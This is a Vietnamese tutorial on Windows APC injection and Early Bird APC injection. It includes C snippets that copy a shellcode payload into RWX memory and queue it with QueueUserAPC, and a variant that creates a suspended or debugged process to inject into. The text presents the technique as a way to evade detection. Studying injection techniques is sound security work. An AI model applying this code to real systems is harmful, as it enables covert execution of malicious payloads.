What is APC?
APC (hay Asynchronous Procedure Call) là một hàm mà sẽ được thực thi một cách bất đồng bộ trong ngữ cảnh của một thread cụ thể.
QueueUserAPC
Mỗi thread sẽ có một hàng đợi chứa các APC mà sẽ được thực thi. Để thêm một APC vào hàng đợi thì ta cần sử dụng hàm QueueUserAPC
và truyền vào địa chỉ của APC mà ta cần thực thi. Nguyên mẫu của hàm QueueUserAPC
:
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC,
[in] HANDLE hThread,
[in] ULONG_PTR dwData
);
Với:
pfnAPC
: là địa chỉ của hàm mà sẽ được thực thi.hThread
: là handle của thread mà ta muốn thêm APC vào.dwData
: là đối số mà ta muốn truyền vào hàmpfnAPC
.
Placing a Thread In An Alertable State
Khi một APC được thêm vào hàng đợi, thread sẽ không thực thi APC đó ngay lập tức mà chỉ thực thi khi nó ở trạng thái alertable (có thể đánh thức). Cụ thể hơn, trạng thái alertable chính là trạng thái chờ (wait state). Thread có thể chuyển sang trạng thái này khi nó chờ một thao tác nào đó liên quan đến thiết bị ngoại vi (chẳng hạn như bàn phím) hoàn thành hoặc chờ một tài nguyên nào đó được giải phóng.
Seealso
Xem thêm danh sách các trạng thái của thread: ThreadState Enum (System.Diagnostics) | Microsoft Learn
Thread có thể tự chuyển sẽ sang trạng thái chờ khi nó gọi ít nhất 1 trong các hàm đồng bộ hóa sau:
Sleep
SleepEx
MsgWaitForMultipleObjectsEx
WaitForSingleObject
WaitForSingleObjectEx
WaitForMultipleObjects
WaitForMultipleObjectsEx
SignalObjectAndWait
Trong trường hợp thread không còn ở trạng thái chờ (điều kiện kết thúc của các hàm trên được thỏa mãn) trước khi APC được thêm vào hàm đợi, APC sẽ không được thực thi. Tuy nhiên, do vẫn còn ở trong hàng đợi, APC vẫn sẽ được thực thi khi thread gọi lại ít nhất một trong số các hàm trên.
Info
Các hàm chẳng hạn như ReadFileEx, SetWaitableTimer, SetWaitableTimerEx, và WriteFileEx sử dụng một APC để gửi thông báo về việc hoàn thành của thao tác I/O.
Using The Functions
Ví dụ về cách sử dụng các hàm trên để chuyển thread sang trạng thái chờ:
Sử dụng Sleep
:
VOID AlertableFunction1() {
Sleep(-1);
}
Sử dụng SleepEx
:
VOID AlertableFunction2() {
SleepEx(INFINITE, TRUE);
}
Sử dụng WaitForSingleObject
:
VOID AlertableFunction3() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent){
WaitForSingleObject(hEvent, INFINITE);
CloseHandle(hEvent);
}
}
Có thể thấy, chúng ta tạo ra một event rác (truyền tất cả các đối số là NULL
) thông qua hàm CreateEventW
và sử dụng event này để gọi WaitForSingleObject
.
Sử dụng MsgWaitForMultipleObjects
:
VOID AlertableFunction4() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent) {
MsgWaitForMultipleObjects(1, &hEvent, TRUE, INFINITE, QS_INPUT);
CloseHandle(hEvent);
}
}
Sử dụng SignalObjectAndWait
:
VOID AlertableFunction5() {
HANDLE hEvent1 = CreateEvent(NULL, NULL, NULL, NULL);
HANDLE hEvent2 = CreateEvent(NULL, NULL, NULL, NULL);
if (hEvent1 && hEvent2) {
SignalObjectAndWait(hEvent1, hEvent2, INFINITE, TRUE);
CloseHandle(hEvent1);
CloseHandle(hEvent2);
}
}
Suspended Threads
Chúng ta cũng có thể dùng QueueUserAPC
cho các thread bị gián đoạn. Tuy nhiên, để APC được thực thi, chúng ta cần gọi ResumeThread
sau khi gọi QueueUserAPC
.
Important
Cần lưu ý là thread cần phải được tạo ra trong trạng thái bị gián đoạn thì cách này mới hoạt động. Việc gián đoạn một thread có sẵn sẽ không thực thi APC.
APC Injection
APC injection là một kỹ thuật lạm dụng tính năng APC của hệ điều hành Window để tiêm một APC nhằm thực thi shellcode vào một thread ở trạng thái alertable. Do APC là một cơ chế hợp lệ của hệ điều hành nên nó có thể tránh được sự phát hiện. Tuy nhiên, nó có một điểm yếu là đôi khi chúng ta sẽ không tìm được thread nào ở trạng thái alertable.
Implementation Logic
Kỹ thuật này bao gồm các bước sau:
-
Tìm một thread ở trong trạng thái alertable. Để giả lập, ta sẽ tạo ra một thread bằng hàm
CreateThread
và gọi một trong số những hàm đồng bộ hóa trên:hThread = CreateThread(NULL, NULL, &AlertableFunction5, NULL, NULL, &dwThreadId); if (hThread == NULL) { printf("[!] CreateThread Failed With Error : %d \n", GetLastError()); return FALSE; } printf("[+] Alertable Target Thread Created With Id : %d \n", dwThreadId);
-
Tiêm shellcode vào vùng nhớ.
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pAddress == NULL) { printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError()); return FALSE; } memcpy(pAddress, pPayload, sPayloadSize); if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError()); return FALSE; }
Với
pPayload
là vùng nhớ tạm chứa shellcode cònsPayloadSize
là kích thước của shellcode. -
Sử dụng handle của thread có được ở bước 1 và địa chỉ shellcode có được ở bước 2 để gọi hàm
QueueUserAPC
.// If hThread is in an alertable state, QueueUserAPC will run the payload directly // If hThread is in a suspended state, the payload won't be executed unless the thread is resumed after if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) { printf("\t[!] QueueUserAPC Failed With Error : %d \n", GetLastError()); }
Có thể thấy, ta thực hiện APC injection ở tiến trình hiện tại (local injection). Việc thực hiện remote injection cũng tương tự.
Demo
Khi chạy chương trình thì thấy rằng đã có một thread được tạo ra ở trạng thái alertable (Process Hacker hiển thị là Wait:UserRequest
):
Early Bird APC Injection
Như đã biết, rất khó để tìm được một thread nào đó ở trạng thái alertable hoặc suspended (khi vừa tạo ra), đặc biệt là các thread được chạy dưới quyền user bình thường. Giải pháp cho vấn đề này là sử dụng kỹ thuật Early Bird APC Injection: tạo ra một tiến trình ở trạng thái bị gián đoạn rồi sử dụng handle đến thread cũng ở trong trạng thái bị gián đoạn để gọi hàm QueueUserAPC
. Sau đó, ta cho thread tiếp tục thực thi để thực thi shellcode.
Implementation Logic (1)
Các bước thực hiện Early Bird APC Injection:
- Tạo một tiến trình ở trạng thái bị gián đoạn với cờ
CREATE_SUSPENDED
. - Ghi shellcode vào vùng nhớ của tiến trình vừa tạo.
- Lấy handle đến thread bị gián đoạn trong tiến trình vừa tạo cũng như là địa chỉ của shellcode và truyền vào hàm
QueueUserAPC
. - Cho thread tiếp tục thực thi bằng hàm
ResumeThread
để shellcode được thực thi.
Implementation Logic (2)
Ngoài ra, ta cũng có thể tạo ra tiến trình sử dụng cờ DEBUG_PROCESS
.
PROCESS_INFORMATION Pi = { 0 };
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// Creating the process
if (!CreateProcessA(
NULL,
lpPath,
NULL,
NULL,
FALSE,
DEBUG_PROCESS, // Instead of CREATE_SUSPENDED
NULL,
NULL,
&Si,
&Pi)) {
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
Khi sử dụng cờ này, CreateProcess
sẽ tạo ra một tiến trình ở trạng thái debug và gắn tiến trình gọi hàm CreateProcess
(tiến trình hiện tại của malware) vào làm debugger cho tiến trình được tạo ra. Khi một tiến trình được tạo ra ở trạng thái debug, một breakpoint sẽ đặt ở entry point của tiến trình đó. Điều này khiến cho tiến trình bị tạm hoãn.
Sau đó, chúng ta có thể tiêm shellcode vào tiến trình mục tiêu và gọi hàm QueueUserAPC
. Cuối cùng, gọi hàm DebugActiveProcessStop
để dừng quá trình debug của tiến trình mục tiêu. Hàm DebugActiveProcessStop
yêu cầu duy nhất một đối số là PID của tiến trình cần dừng quá trình debug.
Demo
Malware đã tạo ra được một tiến trình ở trạng thái debug (được thể hiện bằng màu tím ở trong Process Hacker):
Có thể thấy, tiến trình cha của tiến trình được tạo ra chính là tiến trình của malware.
Shellcode đã được ghi vào vùng nhớ của tiến trình mục tiêu thành công: